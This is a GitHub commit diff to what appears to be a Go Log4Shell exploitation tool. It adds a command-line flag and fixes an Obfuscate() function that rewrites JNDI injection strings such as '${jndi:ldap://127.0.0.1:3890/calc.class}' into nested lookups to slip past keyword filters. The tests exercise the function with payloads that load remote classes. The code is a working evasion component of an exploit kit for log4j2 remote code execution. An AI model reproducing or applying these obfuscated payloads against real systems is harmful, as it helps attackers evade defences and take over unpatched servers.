Skip to content

Commit 467fdd7

Browse files
committed
fix bug in Obfuscate(), update TestObfuscate, add obf flag to main.go
1 parent b9b19b7 commit 467fdd7

File tree

3 files changed

+66
-27
lines changed

3 files changed

+66
-27
lines changed

cmd/main.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ var (
1515
cfg log4shell.Config
1616
crt string
1717
key string
18+
obf string
1819
)
1920

2021
func init() {
@@ -31,6 +32,7 @@ func init() {
3132
flag.BoolVar(&cfg.EnableTLS, "tls-server", false, "enable ldaps and https server")
3233
flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
3334
flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
35+
flag.StringVar(&obf, "obf", "", "obfuscate malicious(payload) string")
3436
flag.Parse()
3537
}
3638

@@ -49,6 +51,12 @@ func banner() {
4951
}
5052

5153
func main() {
54+
// output obfuscated string
55+
if obf != "" {
56+
fmt.Println(log4shell.Obfuscate(obf))
57+
return
58+
}
59+
5260
// load tls certificate
5361
if cfg.EnableTLS {
5462
cert, err := tls.LoadX509KeyPair(crt, key)

obfuscate.go

Lines changed: 31 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -5,57 +5,64 @@ import (
55
"strings"
66
)
77

8-
// TODO output generated string
9-
// var obf string
10-
// flag.StringVar(&obf, "obf", "", "")
11-
// flag.Parse()
12-
//
13-
// if obf != "" {
14-
// fmt.Println(log4shell.Obfuscate(obf))
15-
// os.Exit(0)
16-
// }
17-
188
// raw: ${jndi:ldap://127.0.0.1:3890/calc.class}
199
//
2010
// obfuscate rule:
2111
// 1. ${xxx-xxx:any-code:-bc} => bc
2212

13+
// skippedChars contain skip character, if Obfuscate
14+
// select section contains these characters, they will
15+
// not be obfuscated.
16+
var skippedChars = map[byte]struct{}{
17+
'$': {},
18+
'{': {},
19+
'}': {},
20+
}
21+
2322
// Obfuscate is used to obfuscate malicious(payload) string like
2423
// ${jndi:ldap://127.0.0.1:3890/calc.class} for log4j2 package.
2524
func Obfuscate(raw string) string {
2625
l := len(raw)
27-
if l < 3 {
26+
if l == 0 {
2827
return ""
2928
}
3029
obfuscated := strings.Builder{}
31-
obfuscated.WriteString("${")
3230

33-
remaining := len(raw) - len("${}")
34-
idx := 2
31+
remaining := l
32+
index := 0
33+
3534
// prevent not obfuscate twice, otherwise maybe
3635
// generate string like 1."jn" 2."di" -> "jndi"
3736
lastObfuscated := true
3837

3938
for {
4039
// first select section length
41-
4240
// use 0-3 is used to prevent include special
4341
// string like "jndi", "ldap" and "http"
44-
sl := rand.Intn(4)
45-
if sl > remaining {
46-
sl = remaining
42+
size := rand.Intn(4)
43+
if size > remaining {
44+
size = remaining
45+
}
46+
section := raw[index : index+size]
47+
48+
// contain special character
49+
var skip bool
50+
for i := 0; i < len(section); i++ {
51+
_, ok := skippedChars[section[i]]
52+
if ok {
53+
skip = true
54+
}
4755
}
48-
section := raw[idx : idx+sl]
4956

50-
if !randBool() && lastObfuscated {
57+
if skip || (!randBool() && lastObfuscated) {
5158
// not obfuscate
5259
obfuscated.WriteString(section)
5360

54-
remaining -= sl
61+
remaining -= size
5562
if remaining <= 0 {
5663
break
5764
}
58-
idx += sl
65+
index += size
5966
lastObfuscated = false
6067
continue
6168
}
@@ -79,14 +86,13 @@ func Obfuscate(raw string) string {
7986
obfuscated.WriteString(section)
8087
obfuscated.WriteString("}")
8188

82-
remaining -= sl
89+
remaining -= size
8390
if remaining <= 0 {
8491
break
8592
}
86-
idx += sl
93+
index += size
8794
lastObfuscated = true
8895
}
8996

90-
obfuscated.WriteString("}")
9197
return obfuscated.String()
9298
}

obfuscate_test.go

Lines changed: 27 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,34 @@ package log4shell
33
import (
44
"fmt"
55
"testing"
6+
7+
"github.com/stretchr/testify/require"
68
)
79

810
func TestObfuscate(t *testing.T) {
9-
obfuscated := Obfuscate("${jndi:ldap://127.0.0.1:3890/calc.class}")
10-
fmt.Println(obfuscated)
11+
t.Run("common", func(t *testing.T) {
12+
for _, testdata := range [...]string{
13+
"${jndi:ldap://127.0.0.1:3890/calc.class}",
14+
"${jndi:ldap://127.0.0.1:3890/notepad.class}",
15+
"test",
16+
} {
17+
obfuscated := Obfuscate(testdata)
18+
fmt.Println(testdata)
19+
fmt.Println(obfuscated)
20+
fmt.Println()
21+
}
22+
})
23+
24+
t.Run("empty raw string", func(t *testing.T) {
25+
obfuscated := Obfuscate("")
26+
require.Zero(t, obfuscated)
27+
})
28+
29+
t.Run("fuzz", func(t *testing.T) {
30+
for i := 0; i < 100000; i++ {
31+
raw := "${" + randString(64) + "}"
32+
obfuscated := Obfuscate(raw)
33+
require.NotZero(t, obfuscated)
34+
}
35+
})
1136
}

0 commit comments

Comments
 (0)